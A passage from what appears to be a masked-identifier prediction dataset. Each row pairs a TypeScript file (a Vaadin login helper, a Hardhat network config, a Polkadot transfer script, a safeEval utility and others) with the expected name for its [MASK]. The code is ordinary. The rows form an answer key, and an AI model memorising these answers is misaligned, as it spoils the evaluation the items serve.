    it('Can create InitializeMember Instruction', () => {
        const member = new PublicKey('22222222222222222222222222222222222222222222');
        const memberMint = new PublicKey('33333333333333333333333333333333333333333333');
        const memberMintAuthority = new PublicKey('44444444444444444444444444444444444444444444');
        const group = new PublicKey('55555555555555555555555555555555555555555555');
        const groupUpdateAuthority = new PublicKey('66666666666666666666666666666666666666666666');

        checkPackUnpack(
            createInitializeMemberInstruction({
                programId,
                member,
                memberMint,
                memberMintAuthority,
                group,
                groupUpdateAuthority,
            }),
            splDiscriminate('spl_token_group_interface:initialize_member'),
            getStructDecoder([]),
            {}
        );
    });
});
",values
340,"import * as knockout from 'knockout';
import DisposableAction from 'Utility/DisposableAction';

abstract class DisposableComponent {
  private _actions: DisposableAction[] = [];
  private _subscriptions: ko.Subscription[] = [];
  private _computed: ko.Computed<any>[] = [];

  protected Computed<T>(value: () => T): ko.Computed<T> {
    const computed = knockout.computed(value);
    this._computed.push(computed);

    return computed;
  }

  protected PureComputed<T>(read: () => T, write?: (value: T) => void): ko.PureComputed<T> {
    const computed = write == null ? knockout.pureComputed(read) : knockout.pureComputed({ read: read, write: write });
    this._computed.push(computed);

    return computed;
  }

  protected Subscribe<T>(subscribable: ko.Subscribable<T>, callback: (value: T) => void): () => void {
    const subscription = subscribable.subscribe(callback);
    this._subscriptions.push(subscription);

    return () => subscription.dispose();
  }

  protected SubscribeToArray<T>(
    subscribable: ko.ObservableArray<T>,
    callback: (value: T, status: string) => void,
  ): () => void {
    const subscription = subscribable.subscribe(
      (e: { value: T; status: string }[]) => {
        e.forEach((v) => callback(v.value, v.status));
      },
      null,
      'arrayChange',
    );
    this._subscriptions.push(subscription);

    return () => subscription.dispose();
  }

  protected SubscribeUntilChange<T>(subscribable: ko.Subscribable<T>, callback: (value: T) => void): () => void {
    const unsubscriber = this.Subscribe(subscribable, (v) => {
      unsubscriber();
      callback(v);
    });

    return unsubscriber;
  }

  protected AddAction( [MASK] : () => boolean, action: () => void): void {
    this._actions.push(new DisposableAction( [MASK] , action));
  }

  public dispose(): void {
    this._actions.forEach((a) => a.Dispose());
    this._subscriptions.forEach((s) => s.dispose());
    this._computed.forEach((c) => c.dispose());
  }
}

export default DisposableComponent;
",condition
341,"import { login as loginImpl, logout as logoutImpl } from '@vaadin/flow-frontend';
import type { LoginResult } from '@vaadin/flow-frontend';

const LAST_LOGIN_TIMESTAMP = 'lastLoginTimestamp';
const THIRTY_DAYS_MS = 30 * 24 * 60 * 60 * 1000;
const lastLoginTimestamp = localStorage.getItem(LAST_LOGIN_TIMESTAMP);
const hasRecentLoginTimestamp = (lastLoginTimestamp &&
  (new Date().getTime() - new Date(+lastLoginTimestamp).getTime()) < THIRTY_DAYS_MS) || false;

let _isLoggedIn = hasRecentLoginTimestamp;

export async function login(username: string,  [MASK] : string): Promise<LoginResult> {
  if (_isLoggedIn) {
    return { error: false } as LoginResult;
  } else {
    const result = await loginImpl(username,  [MASK] );
    if (!result.error) {
      _isLoggedIn = true;
      localStorage.setItem(LAST_LOGIN_TIMESTAMP, new Date().getTime() + '')
    }
    return result;
  }
}

export async function logout() {
  _isLoggedIn = false;
  localStorage.removeItem(LAST_LOGIN_TIMESTAMP);
  return await logoutImpl();
}

export function isLoggedIn() {
  return _isLoggedIn;
}

export function setSessionExpired() {
  _isLoggedIn = false;
  localStorage.removeItem(LAST_LOGIN_TIMESTAMP);
}",password
342,"/**
 * @file Originally adapted from Next.js's blog starter example: {@link https://github.com/vercel/next.js/blob/a32fa4243adae4f7ff79180e2d6db3d46a810485/examples/blog-starter/lib/api.js}
 */
import fs from ""fs"";
import { join } from ""path"";

const postsDirectory = join(process.cwd(), ""pages/blog"");

export function getPostSlugs(): string[] {
  const  [MASK] : string[] = fs.readdirSync(postsDirectory);
  const slugs =  [MASK] 
    .filter((filename) => filename.endsWith("".mdx""))
    .map((filename) => filename.replace(/\.mdx$/, """"));
  return slugs;
}

export async function getPostBySlug(
  slug: string,
  fields: MetadataField[] = []
) {
  const { metadata }: { metadata: BlogPostMetadata } = await import(
    `../pages/blog/${slug}.mdx`
  );
  let data: Partial<BlogPostMetadata> = {};

  // Only return requested fields
  for (const field of fields) {
    if (field === ""slug"") {
      data = {
        ...data,
        ...{ slug },
      };
    } else {
      data = {
        ...data,
        ...{ [field]: metadata[field] ?? null },
      };
    }
  }

  return data;
}

export async function getAllPosts(fields: MetadataField[] = []) {
  const slugs = getPostSlugs();

  let posts = await Promise.all(
    slugs.map(async (slug) => await getPostBySlug(slug, fields))
  );

  if (fields.includes(""date"")) {
    // sort posts by date in descending order
    posts = posts.sort((post1, post2) => {
      if (!post1.date || !post2.date) return 0;

      return post1.date > post2.date ? -1 : 1;
    });
  }

  return posts;
}

export type BlogPostMetadata = {
  slug?: string;
  title: string;
  subtitle?: string;
  description?: string;
  excerpt: string;
  /** Date/time first published, in ISO format. */
  date: string;
  /** Date/time last updated, in ISO format. */
  updated?: string;
  ogImage?: {
    filename: string;
    alt: string;
  };
  cta?: string;
  socialLinks?: {
    twitter?: string;
    mastodon?: string;
    facebook?: string;
    linkedin?: string;
  };
  syndicated?: {
    medium?: string | null;
    dev?: string | null;
    hackerNoon?: string | null;
  };
  ipynb?: boolean;
};

type MetadataField = keyof BlogPostMetadata;
",directoryFiles
343,"import { Component, OnInit } from '@angular/core';
import { AuthenticationService} from '../../services/authentication.service';
import { FlashMessagesService} from 'angular2-flash-messages';
import { Router} from '@angular/router';

@Component({
  selector: 'app-login',
  templateUrl: './login.component.html',
  styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {

  constructor(
    private authService: AuthenticationService,
    private FlashMsg: FlashMessagesService,
    private router: Router
  ) { }
  uname: String;
  pword: String;
  ngOnInit() {
    if (!this.authService.loggedIn()) {
      return true;
    }else {
      this.router.navigate(['/dashboard']);
    }
  }

  onLoginSubmit() {
    const  [MASK]  = {
      uname: this.uname,
      pword: this.pword
    };
    this.authService.loginUser( [MASK] ).subscribe(data => {
      if (data.success) {
        this.authService.storeUserData(data);
        this.FlashMsg.show('Logged In!', {cssClass: 'msg-accept msg', timeout: 2000});
        this.router.navigate(['/dashboard']);
      }else {
        this.FlashMsg.show(data.msg, {cssClass: 'msg-danger msg', timeout: 2000});
        this.router.navigate(['/login']);
      }
    });
  }


}
",user
344,"/*
 * Copyright <NAME>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import {Component, OnDestroy, OnInit} from '@angular/core';
import {NavigationEnd, Router} from '@angular/router';
import {Subject} from 'rxjs';
import {takeUntil} from 'rxjs/operators';

@Component({
  // eslint-disable-next-line @angular-eslint/component-selector
  selector: 'body',
  template: `
    <router-outlet></router-outlet>`,
  standalone: false
})
export class AppComponent implements OnInit, OnDestroy {

  // eslint-disable-next-line
  private unsubscribe$: Subject<any> = new Subject();

  constructor(private router: Router) {
  }

  ngOnDestroy(): void {
    this.unsubscribe$.complete();
  }

  ngOnInit(): void {
    this.router.events.pipe(takeUntil(this.unsubscribe$)).subscribe(( [MASK] ) => {
      if (!( [MASK]  instanceof NavigationEnd)) {
        return;
      }
      window.scrollTo(0, 0);
    });
  }
}
",evt
345,"import { TsvDb, TsvDbOpts, TsvRow } from ""./TsvDb.js"";

export interface CplRecord extends TsvRow {
    cpl: string;
    text?: string;
    path?: string;
    package?: string;
    class?: string;
    function?: string;
    severity?: string;
    deleted_ts?: string;
    a?: string;
    sem_ids?: string;
    cat?: string;

    file_path?: string;
    file_line?: string | number;
    file_line_pos?: string | number;
    source_pos?: string | number;
    expectation?: string;
    ylog_name?: string;
    cpl_comment?: string;
    has_ylog_on?: string | number;
    anchor_key?: string;
}

export const defaultCplTableColumns: readonly (keyof CplRecord)[] = Object.freeze([
    ""path"",
    ""package"",
    ""class"",
    ""function"",
    ""severity"",
    ""deleted_ts"",
    ""a"",
    ""sem_ids"",
    ""cat"",

    ""file_path"",
    ""file_line"",
    ""file_line_pos"",
    ""source_pos"",
    ""expectation"",
    ""ylog_name"",
    ""cpl_comment"",
    ""has_ylog_on"",

    ""text"",
    ""anchor_key"",
] as const);

export const cplDbOrderBy = [""file_path"", ""source_pos""] as const;

export function makeCplDbOpts( [MASK] : string): TsvDbOpts {
    const r: TsvDbOpts = {
        tsvFilePath:  [MASK] ,
        columns: defaultCplTableColumns as any,
        typeCol: undefined,
        typeDefs: { default: { pkCols: [""cpl""] } },
        orderby: [""file_path"", ""source_pos""],
    };
    return r;
}
",tsvPath
346,"import { Keyring } from '@polkadot/api';
import { cryptoWaitReady } from '@polkadot/util-crypto';
import { EXTRINSIC_VERSION } from '@polkadot/types/extrinsic/v4/Extrinsic';

import {
  construct,
  decode,
  deriveAddress,
  methods,
  TokenSymbol,
  getRegistry
} from '../src';

import { rpc } from './util';
import { RuntimeVersion, Block } from './types';

const NODE = 'http://127.0.0.1:9933';

async function main(): Promise<void> {
  await cryptoWaitReady();

  // Create a new keyring and add an Alice account.
  const alice = new Keyring().addFromUri(
    '//Alice',
    { name: 'Alice' },
    'sr25519'
  );

  console.log(
    `Alice's account address: ${deriveAddress(alice.publicKey, 42)}\n`
  );

  // Pull info from the node to construct an offline transaction. It's up
  // to you how you retrieve this info but here we are using RPC calls to the
  // local node.
  const { block } = await rpc<{ block: Block }>(NODE, 'chain_getBlock');
  const blockHash = await rpc(NODE, 'chain_getBlockHash');
  const genesisHash = await rpc(NODE, 'chain_getBlockHash', [0]);
  const metadataRpc = (await rpc(NODE, 'state_getMetadata')) as `0x${string}`;
  const chainName = await rpc(NODE, 'system_chain');
  const { specVersion, transactionVersion, specName } =
    await rpc<RuntimeVersion>(NODE, 'state_getRuntimeVersion');

  // Create a new registry instance using metadata from node.
  const registry = getRegistry({
    chainName,
    specName,
    specVersion,
    metadataRpc
  });

  // Create an unsigned currency transfer transaction.
  const unsigned = methods.currencies.transfer(
    {
      amount: '900719',
      currencyId: { Token: TokenSymbol.ACA },
      dest: '5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty' // Bob
    },
    {
      address: deriveAddress(alice.publicKey, 42),
      blockNumber: registry
        .createType('BlockNumber', block.header.number)
        .toNumber(),
      blockHash,
      eraPeriod: 64,
      genesisHash,
      metadataRpc,
      nonce: 6666,
      specVersion,
      tip: 0,
      transactionVersion
    },
    {
      metadataRpc,
      registry
    }
  );

  // Construct the signing payload from the unsigned transaction.
  const signingPayload = construct.signingPayload(unsigned, { registry });

  // Sign the payload.
  const { signature } = registry
    .createType('ExtrinsicPayload', signingPayload, {
      version: EXTRINSIC_VERSION
    })
    .sign(alice);

  // Create a signed transaction.
  const tx = construct.signedTx(unsigned, signature, {
    metadataRpc,
    registry
  });

  const  [MASK]  = construct.txHash(tx);

  // Decode transaction payload.
  const payloadInfo = decode(signingPayload, {
    metadataRpc,
    registry
  });

  console.log(`Chain node: ${chainName}\n`);
  console.log(`Tx signature: ${signature}\n`);

  console.log(
    `Decoded transaction\n  To (Bob): ${JSON.stringify(
      payloadInfo.method.args.dest
    )}\n` +
      `  Amount: ${payloadInfo.method.args.amount}\n` +
      `  CurrencyId: ${JSON.stringify(payloadInfo.method.args.currencyId)}\n`
  );

  // Send the transaction to the node. Txwrapper doesn't care how
  // you send this transaction but here we are using an RPC call
  // to the local node.
  const hash = await rpc(NODE, 'author_submitExtrinsic', [tx]);

  console.log(`Expected hash: ${ [MASK] }`);
  console.log(`Tx hash: ${hash}`);
}

main().catch((error) => {
  console.error(error);
  process.exit(1);
});
",expectedTxHash
347,"import * as threads from ""worker_threads"";
import * as path from ""path"";
import { safeEvalReturnedType, vmOptionsType, initialMessageType, allowedRandomStringTypes } from ""./types"";

function safeEval(evalCode: string, vmOptions: vmOptionsType = { enabled: true }): Promise<safeEvalReturnedType> {
    return new Promise(function (resolve, _reject) {
        let response: safeEvalReturnedType = {
            ""error"": false,
            ""output"": """"
        }
        try {
            // @ts-expect-error
            if(vmOptions.__debugThrowErrInIndex) throw new Error(""Debug throw error"");
            vmOptions.enabled = vmOptions.enabled ?? true;
            vmOptions.timeout = vmOptions.timeout ?? 2000;
            if (vmOptions.enabled) {
                const worker = new threads.Worker(path.join(__dirname, ""/safeEvalWorker.js""));
                let timeoutTimeout = setTimeout(() => {
                    let awaitWorkerTerminateTimeout = setTimeout(() => {
                        response.error = true;
                        response.output = ""Catastrophic error: Worker took longer then 2 seconds to terminate. Please report this."";
                        worker.terminate();
                        resolve(response);
                    }, ""__debugFreeze"" in vmOptions ? 0 : 2000);
                    if (!(""__debugFreeze"" in vmOptions)) {
                        worker.terminate().then(() => {
                            clearTimeout(awaitWorkerTerminateTimeout);
                            response.error = true;
                            response.output = ""Too slow response."";
                            resolve(response);
                        });
                    }
                }, ""__debugFreeze"" in vmOptions ? 0 : vmOptions.timeout)
                worker.once(""online"", () => {
                    let messageToSend: initialMessageType = { evalCode, vmOptions };
                    worker.postMessage(messageToSend);
                });
                worker.once(""message"", (msg: safeEvalReturnedType) => {
                    if (!msg || !msg.error || !msg.output) {
                        msg = msg ?? {
                            error: true,
                            output: ""Worker did not send a valid message.""
                        }
                    }
                    response.error = msg.error ?? response.error;
                    response.output = `${msg.output}`;
                    let awaitWorkerTerminateTimeout = setTimeout(() => {
                        response.error = true;
                        response.output = ""Catastrophic error: Worker took longer then 2 seconds to terminate. Please report this."";
                        worker.terminate();
                        resolve(response);
                    }, ""__debugFreeze2"" in vmOptions ? 0 : 2000)
                    clearTimeout(timeoutTimeout);
                    if (!(""__debugFreeze2"" in vmOptions)) {
                        worker.terminate().then(() => {
                            clearTimeout(awaitWorkerTerminateTimeout);
                            resolve(response);
                        })
                    }
                });
                worker.once(""error"", err => {
                    response.error = true;
                    response.output = `Worker error: ${err}`;
                    resolve(response);
                })
            } else {
                try {
                    response.output = `${eval(evalCode)}`;
                    resolve(response);
                } catch (err) {
                    response.error = true;
                    response.output = err.toString();
                    resolve(response);
                }
            }
        } catch (err) {
            response.error = true;
            response.output = ""An unknown error occurred while executing safeEval: "" + err + ""\nPlease submit a issue."";
            resolve(response);
        }
    });
}

function promiseSleep(ms: number): Promise<void> {
    return new Promise(function (resolve, reject) {
        if (isNaN(ms)) reject(""Incorrect usage! Correct usage: blueutilities.promiseSleep(Number);"");
        setTimeout(resolve, ms);
    });
}

let random = {
    numBetween(num1: number, num2: number): number {
        if(num1 > num2) throw new Error(`${num1} is greater than ${num2}.`);
        return Math.floor(Math.random() * (num2 - num1 + 1) + num1);
    },

    choose<t>( [MASK] : t[]): t {
        if(!Array.isArray( [MASK] )) throw new Error(""Incorrect usage! Correct usage: blueutilities.random.choose(Array);"");
        if( [MASK] .length === 0) throw new Error(""Array is empty!"");
        return  [MASK] [Math.floor(Math.random() *  [MASK] .length)];
    },

    randomString(length: number, type: allowedRandomStringTypes = ""alphanumeric""): string {
        if(typeof length != ""number"") throw new Error(""length is not a number! Recieved "" + typeof length);
        let chars = """";
        switch (type) {
            case ""alphanumeric"":
                chars = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"";
                break;
            case ""alphanumeric_upper"":
                chars = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"";
                break;
            case ""alphanumeric_lower"":
                chars = ""abcdefghijklmnopqrstuvwxyz0123456789"";
                break;
            case ""all"":
                chars = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;':,./<>?"";
                break;
            default:
                throw new Error(""Incorrect usage! Correct usage: blueutilities.randomString(Number, String);\nString must be one of the following: alphanumeric, alphanumeric_upper, alphanumeric_lower, all"");
        }
        let result = """";
        for (let i = 0; i < length; i++) {
            result += chars[Math.floor(Math.random() * chars.length)];
        }
        return result;
    }
}


export { promiseSleep, safeEval, random }
export default { promiseSleep, safeEval, random }",arr
348,"import * as dotenv from ""dotenv"";

import { HardhatUserConfig, extendEnvironment } from ""hardhat/config"";
import { HardhatRuntimeEnvironment } from ""hardhat/types"";
import ""@openzeppelin/hardhat-upgrades"";
import ""@nomicfoundation/hardhat-ethers"";
import ""@nomicfoundation/hardhat-verify"";
import ""@nomicfoundation/hardhat-chai-matchers"";
import ""@typechain/hardhat"";
import ""hardhat-gas-reporter"";
import ""hardhat-contract-sizer"";
import ""solidity-coverage"";
import { baseURIs, proxies, TablelandNetworkConfig } from ""./network"";

dotenv.config();

const homestead = {
  url: `https://eth-mainnet.alchemyapi.io/v2/${
    process.env.ETHEREUM_API_KEY ?? """"
  }`,
  accounts:
    process.env.ETHEREUM_PRIVATE_KEY !== undefined
      ? [process.env.ETHEREUM_PRIVATE_KEY]
      : [],
};

const config: HardhatUserConfig = {
  solidity: {
    version: ""0.8.19"",
    settings: {
      optimizer: {
        enabled: true,
        runs: 9999999,
      },
      metadata: {
        // do not include the metadata hash, since this is machine dependent
        // and we want all generated code to be deterministic
        // https://docs.soliditylang.org/en/v0.7.6/metadata.html
        bytecodeHash: ""none"",
      },
    },
  },
  contractSizer: {
    alphaSort: true,
    disambiguatePaths: false,
    runOnCompile: false,
    strict: true,
    only: [],
  },
  gasReporter: {
    enabled: process.env.REPORT_GAS !== undefined,
    currency: ""USD"",
  },
  etherscan: {
    apiKey: {
      // ethereum
      mainnet: process.env.ETHERSCAN_API_KEY || """",
      sepolia: process.env.ETHERSCAN_API_KEY || """",

      // optimism
      optimisticEthereum: process.env.OPTIMISM_ETHERSCAN_API_KEY || """",
      optimisticSepolia: process.env.OPTIMISM_ETHERSCAN_API_KEY || """",

      // arbitrum
      arbitrumOne: process.env.ARBISCAN_API_KEY || """",
      arbitrumNova: process.env.ARBISCAN_NOVA_API_KEY || """",
      arbitrumSepolia: process.env.ARBISCAN_API_KEY || """",

      // base
      base: process.env.BASESCAN_API_KEY || """",
      baseSepolia: process.env.BASESCAN_API_KEY || """",

      // polygon
      polygon: process.env.POLYSCAN_API_KEY || """",
      polygonAmoy: process.env.POLYSCAN_API_KEY || """",
    },
    customChains: [
      {
        network: ""optimisticSepolia"",
        chainId: 11155420,
        urls: {
          apiURL: ""https://api-sepolia-optimistic.etherscan.io/api"",
          browserURL: ""https://sepolia-optimism.etherscan.io/"",
        },
      },
      {
        network: ""arbitrumNova"",
        chainId: 42170,
        urls: {
          apiURL: ""https://api-nova.arbiscan.io/api"",
          browserURL: ""https://nova.arbiscan.io/"",
        },
      },
      {
        network: ""arbitrumSepolia"",
        chainId: 421614,
        urls: {
          apiURL: ""https://api-sepolia.arbiscan.io/api"",
          browserURL: ""https://sepolia.arbiscan.io/"",
        },
      },
      {
        network: ""base"",
        chainId: 8453,
        urls: {
          apiURL: ""https://api.basescan.org/api"",
          browserURL: ""https://basescan.org/"",
        },
      },
      {
        network: ""baseSepolia"",
        chainId: 84532,
        urls: {
          apiURL: ""https://api-sepolia.basescan.org/api"",
          browserURL: ""https://sepolia.basescan.org/"",
        },
      },
      {
        network: ""polygonAmoy"",
        chainId: 80002,
        urls: {
          apiURL: ""https://api-amoy.polygonscan.com/api"",
          browserURL: ""https://amoy.polygonscan.com/"",
        },
      },
    ],
  },
  networks: {
    // mainnets
    mainnet: homestead,
    homestead,
    optimism: {
      url: `https://opt-mainnet.g.alchemy.com/v2/${
        process.env.OPTIMISM_API_KEY ?? """"
      }`,
      accounts:
        process.env.OPTIMISM_PRIVATE_KEY !== undefined
          ? [process.env.OPTIMISM_PRIVATE_KEY]
          : [],
    },
    arbitrum: {
      url: `https://arb-mainnet.g.alchemy.com/v2/${
        process.env.ARBITRUM_API_KEY ?? """"
      }`,
      accounts:
        process.env.ARBITRUM_PRIVATE_KEY !== undefined
          ? [process.env.ARBITRUM_PRIVATE_KEY]
          : [],
    },
    ""arbitrum-nova"": {
      url: `https://skilled-yolo-mountain.nova-mainnet.discover.quiknode.pro/${
        process.env.ARBITRUM_NOVA_API_KEY ?? """"
      }`,
      accounts:
        process.env.ARBITRUM_NOVA_PRIVATE_KEY !== undefined
          ? [process.env.ARBITRUM_NOVA_PRIVATE_KEY]
          : [],
    },
    base: {
      url: `https://base-mainnet.g.alchemy.com/v2/${
        process.env.BASE_API_KEY ?? """"
      }`,
      accounts:
        process.env.BASE_PRIVATE_KEY !== undefined
          ? [process.env.BASE_PRIVATE_KEY]
          : [],
    },
    polygon: {
      url: `https://polygon-mainnet.g.alchemy.com/v2/${
        process.env.POLYGON_API_KEY ?? """"
      }`,
      accounts:
        process.env.POLYGON_PRIVATE_KEY !== undefined
          ? [process.env.POLYGON_PRIVATE_KEY]
          : [],
    },
    filecoin: {
      url: `https://rpc.ankr.com/filecoin/${
        process.env.FILECOIN_API_KEY ?? """"
      }`,
      accounts:
        process.env.FILECOIN_PRIVATE_KEY !== undefined
          ? [process.env.FILECOIN_PRIVATE_KEY]
          : [],
    },
    // testnets
    sepolia: {
      url: `https://eth-sepolia.g.alchemy.com/v2/${
        process.env.ETHEREUM_SEPOLIA_API_KEY ?? """"
      }`,
      accounts:
        process.env.ETHEREUM_SEPOLIA_PRIVATE_KEY !== undefined
          ? [process.env.ETHEREUM_SEPOLIA_PRIVATE_KEY]
          : [],
    },
    ""optimism-sepolia"": {
      url: `https://opt-sepolia.g.alchemy.com/v2/${
        process.env.OPTIMISM_SEPOLIA_API_KEY ?? """"
      }`,
      accounts:
        process.env.OPTIMISM_SEPOLIA_PRIVATE_KEY !== undefined
          ? [process.env.OPTIMISM_SEPOLIA_PRIVATE_KEY]
          : [],
    },
    ""arbitrum-sepolia"": {
      url: `https://arb-sepolia.g.alchemy.com/v2/${
        process.env.ARBITRUM_SEPOLIA_API_KEY ?? """"
      }`,
      accounts:
        process.env.ARBITRUM_SEPOLIA_PRIVATE_KEY !== undefined
          ? [process.env.ARBITRUM_SEPOLIA_PRIVATE_KEY]
          : [],
    },
    ""base-sepolia"": {
      url: `https://base-sepolia.g.alchemy.com/v2/${
        process.env.BASE_SEPOLIA_API_KEY ?? """"
      }`,
      accounts:
        process.env.BASE_SEPOLIA_PRIVATE_KEY !== undefined
          ? [process.env.BASE_SEPOLIA_PRIVATE_KEY]
          : [],
    },
    ""polygon-amoy"": {
      url: `https://polygon-amoy.g.alchemy.com/v2/${
        process.env.POLYGON_AMOY_API_KEY ?? """"
      }`,
      accounts:
        process.env.POLYGON_AMOY_PRIVATE_KEY !== undefined
          ? [process.env.POLYGON_AMOY_PRIVATE_KEY]
          : [],
    },
    ""filecoin-calibration"": {
      url: `https://api.calibration.node.glif.io/rpc/v1${
        process.env.FILECOIN_CALIBRATION_API_KEY ?? """"
      }`,
      accounts:
        process.env.FILECOIN_CALIBRATION_PRIVATE_KEY !== undefined
          ? [process.env.FILECOIN_CALIBRATION_PRIVATE_KEY]
          : [],
    },
    // devnets
    ""optimism-sepolia-staging"": {
      url: `https://opt-sepolia.g.alchemy.com/v2/${
        process.env.OPTIMISM_SEPOLIA_STAGING_API_KEY ?? """"
      }`,
      accounts:
        process.env.OPTIMISM_SEPOLIA_STAGING_PRIVATE_KEY !== undefined
          ? [process.env.OPTIMISM_SEPOLIA_STAGING_PRIVATE_KEY]
          : [],
    },
    hardhat: {
      mining: {
        auto: !(process.env.HARDHAT_DISABLE_AUTO_MINING === ""true""),
        interval: [100, 3000],
      },
      allowUnlimitedContractSize:
        process.env.HARDHAT_UNLIMITED_CONTRACT_SIZE === ""true"",
    },
  },
  baseURIs,
  proxies,
};

declare module ""hardhat/types/config"" {
  // eslint-disable-next-line no-unused-vars
  interface HardhatUserConfig {
    baseURIs: TablelandNetworkConfig;
    proxies: TablelandNetworkConfig;
  }
}

declare module ""hardhat/types/runtime"" {
  // eslint-disable-next-line no-unused-vars
  interface HardhatRuntimeEnvironment {
    baseURI: string;
    proxy: string;
  }
}

extendEnvironment(( [MASK] : HardhatRuntimeEnvironment) => {
  // Get base URI for user-selected network
  const uris =  [MASK] .userConfig.baseURIs as any;
   [MASK] .baseURI = uris[ [MASK] .network.name];

  // Get proxy address for user-selected network
  const proxies =  [MASK] .userConfig.proxies as any;
   [MASK] .proxy = proxies[ [MASK] .network.name];
});

export default config;
",hre
349,"/// <reference path=""External/StatsHoldr.ts"" />

interface IAudioPlayrSettings {
    // The names of the audio files to be preloaded so they can later be played
    // by the AudioPlayr. The internal library stores Objects inside it, 
    // representing the paths within each filetype's directory.
    library: any;

    // The directory in which all sub-directories of audio files are stored.
    directory: string;

    // The allowed filetypes for each audio file. Each of these should have a
    // directory of their name under the main directory, which should contain
    // each file of the filetype.
    fileTypes: string[];

    // The arguments to be passed to the internal StatsHoldr. This must contain
    // values for ""volume"" and ""muted"".
    statistics: IStatsHoldrSettings;

    // A Function or String to get the default theme for playTheme calls. 
    // Functions are called for a return value, and Strings are constant
    // (defaults to ""Theme"").
    getThemeDefault?: any;

    // A Function or Number to get the ""local"" volume for playLocal calls. 
    // Functions are called for a return value, and Numbers are constant 
    // (defaults to 1).
    getVolumeLocal?: any;
}

/**
 * AudioPlayr
 * An audio library to automate preloading and controlled playback of multiple
 * audio tracks, with support for different browsers' preferred file types.
 * Volume and mute status are stored locally using a StatsHoldr, which in turn
 * requires proliferate and createElement functions (such as those given by the
 * EightBittr prototype).
 * @example
 * // Creating and using an AudioPlayr to load and play audio files. The 
 * // 'Sounds/Samples/mp3' directory should have Coin.mp3 and Bump.mp3 in it.
 * var AudioPlayer = new AudioPlayr({
 *     ""directory"": ""Sounds"",
 *     ""fileTypes"": [""mp3""],
 *     ""statistics"": {
 *         ""prefix"": ""MyAudioPlayr"",
 *         ""proliferate"": EightBittr.prototype.proliferate,
 *         ""createElement"": EightBittr.prototype.createElement,
 *         ""values"": {
 *             ""volume"": {
 *                 ""valueDefault"": 0.5,
 *                 ""storeLocally"": true
 *             },
 *             ""muted"": {
 *                 ""valueDefault"": 0,
 *                 ""storeLocally"": false
 *             }
 *         }
 *     },
 *     ""library"": {
 *         ""Sounds"": [
 *             ""Coin"",
 *             ""Bump""
 *         ]
 *     }
 * });
 * AudioPlayer.play(""Coin""); // Returns an <audio> playing Coin.mp3
 * @example
 * // Creating and using an AudioPlayr to load and play audio files. A theme 
 * // track is kept looping in the background, and the Coin sound is played 
 * // every seven seconds.
 * var AudioPlayer = new AudioPlayr({
 *     ""directory"": ""Sounds"",
 *     ""fileTypes"": [""mp3""],
 *     ""statistics"": {
 *         ""prefix"": ""MyAudioPlayr"",
 *         ""proliferate"": EightBittr.prototype.proliferate,
 *         ""createElement"": EightBittr.prototype.createElement,
 *         ""values"": {
 *             ""volume"": {
 *                 ""valueDefault"": 0.5,
 *                 ""storeLocally"": true
 *             },
 *             ""muted"": {
 *                 ""valueDefault"": 0,
 *                 ""storeLocally"": false
 *             }
 *         }
 *     },
 *     ""library"": {
 *         ""Sounds"": [
 *             ""Coin""
 *         ],
 *         ""Themes"": [
 *             ""Overworld""
 *         ]
 *     }
 * });
 * AudioPlayer.playTheme(""Overworld"");
 * setInterval(function () {
 *     AudioPlayer.play(""Coin"");
 * }, 7000);
 * @author ""<NAME>"" <<EMAIL>>
 */
class AudioPlayr {
    // A listing of filenames to be turned into <audio> objects.
    private library: any;

    // What file types to add as sources to sounds.
    private fileTypes: string[];

    // Currently playing sound objects, keyed by name (no extensions).
    private sounds: any;

    // The currently playing theme.
    private theme: any;

    // Directory from which audio files are AJAXed upon startup.
    private directory: any;

    // The Function or Number used to determine what playLocal's volume is.
    private getVolumeLocal: any;

    // The Function or String used to get a default theme name.
    private getThemeDefault: any;

    // Storage container for settings like volume and muted status.
    private StatsHolder: StatsHoldr;

    /**
     * Resets the AudioPlayr.
     * 
     * @param {IAudioPlayrSettings} settings
     */
    constructor(settings: IAudioPlayrSettings) {
        if (typeof settings.library === ""undefined"") {
            throw new Error(""No library given to AudioPlayr."");
        }

        if (typeof settings.directory === ""undefined"") {
            throw new Error(""No directory given to AudioPlayr."");
        }

        if (typeof settings.fileTypes === ""undefined"") {
            throw new Error(""No fileTypes given to AudioPlayr."");
        }

        if (!settings.statistics || !settings.statistics.values) {
            throw new Error(""No statistics with values given to AudioPlayr."");
        }

        if (!settings.statistics.values.volume || !settings.statistics.values.muted) {
            throw new Error(""Statistics given to AudioPlayr must include volume and muted."");
        }

        this.library = settings.library;
        this.directory = settings.directory;
        this.fileTypes = settings.fileTypes;
        this.getThemeDefault = settings.getThemeDefault || ""Theme"";
        this.getVolumeLocal = typeof settings.getVolumeLocal === ""undefined""
            ? 1 : settings.getVolumeLocal;

        // Sounds should always start blank
        this.sounds = {};

        // Preload everything!
        this.libraryLoad();

        this.StatsHolder = new StatsHoldr(settings.statistics);

        this.setVolume(this.StatsHolder.get(""volume""));
        this.setMuted(this.StatsHolder.get(""muted""));
    }


    /* Simple getters
    */

    /**
     * @return {Object} The listing of <audio> Elements, keyed by name.
     */
    getLibrary(): any {
        return this.library;
    }

    /**
     * @return {String[]} The allowed filetypes for audio files.
     */
    getfileTypes(): string[] {
        return this.fileTypes;
    }

    /**
     * @return {Object} The currently playing <audio> Elements, keyed by name.
     */
    getSounds(): any {
        return this.sounds;
    }

    /**
     * @return {HTMLAudioElement} The current playing theme's <audio> Element.
     */
    getTheme(): HTMLAudioElement {
        return this.theme;
    }

    /**
     * @return {String} The directory under which all filetype directories are 
     *                  to be located.
     */
    getDirectory(): string {
        return this.directory;
    }


    /* Playback modifiers
    */

    /**
     * @return {Number} The current volume, which is a Number in [0,1],
     *                  retrieved by the StatsHoldr.
     */
    getVolume(): number {
